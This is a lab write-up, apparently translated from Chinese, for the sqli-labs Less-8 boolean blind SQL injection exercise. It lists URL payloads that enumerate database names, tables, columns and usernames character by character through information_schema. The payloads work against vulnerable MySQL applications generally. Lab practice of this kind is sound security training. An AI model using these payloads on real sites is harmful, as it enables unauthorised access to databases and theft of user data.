sqli-labs(less-8)

Catalog

 less-8( Bull's blind note ) manual

1. Judge the closing mode

2. Judge the number of databases

3. Determine the length of the first database character

4. according to ascii Code to determine the specific characters of each library name

5. Judge security Number of tables in the Library

6. Judge security The length of the first table name in the Library

7. Judge security The first character of the first table in the Library ascii value

8. Judge security.users Number of fields in the table

9. Judge security.users The length of the first field of the table

10. Judge security.users The first character of the first field of the table ascii value

11. Judge security.users How many rows of data does the table have

12. Judge user The first row in the table username The data length of the field

13. Judge user The first row in the table username The first character of the field ascii value

---

 less-8( Bull's blind note ) manual

1. Judge the closing mode

2. Judge the number of databases

?id=1' and (select count (schema_name) from information_schema.schemata)= Number of databases ( from 1 Start guessing ) -- -

3. Determine the length of the first database character

?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=18 -- -

4. according to ascii Code to determine the specific characters of each library name

  ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- - # It can be used > and < Judge the approximate position

5. Judge security Number of tables in the Library

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4-- - 

6. Judge security The length of the first table name in the Library

?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 -- -

7. Judge security The first character of the first table in the Library ascii value

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- -

8. Judge security.users Number of fields in the table

?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3-- -

9. Judge security.users The length of the first field of the table

?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2 -- -

10. Judge security.users The first character of the first field of the table ascii value

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 -- -

11. Judge security.users How many rows of data does the table have

?id=1' and (select count(username) from security.users)=13 -- -

12. Judge user The first row in the table username The data length of the field

?id=1' and (select length(username) from security.users limit 0,1)=4 -- -

13. Judge user The first row in the table username The first character of the field ascii value

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68-- -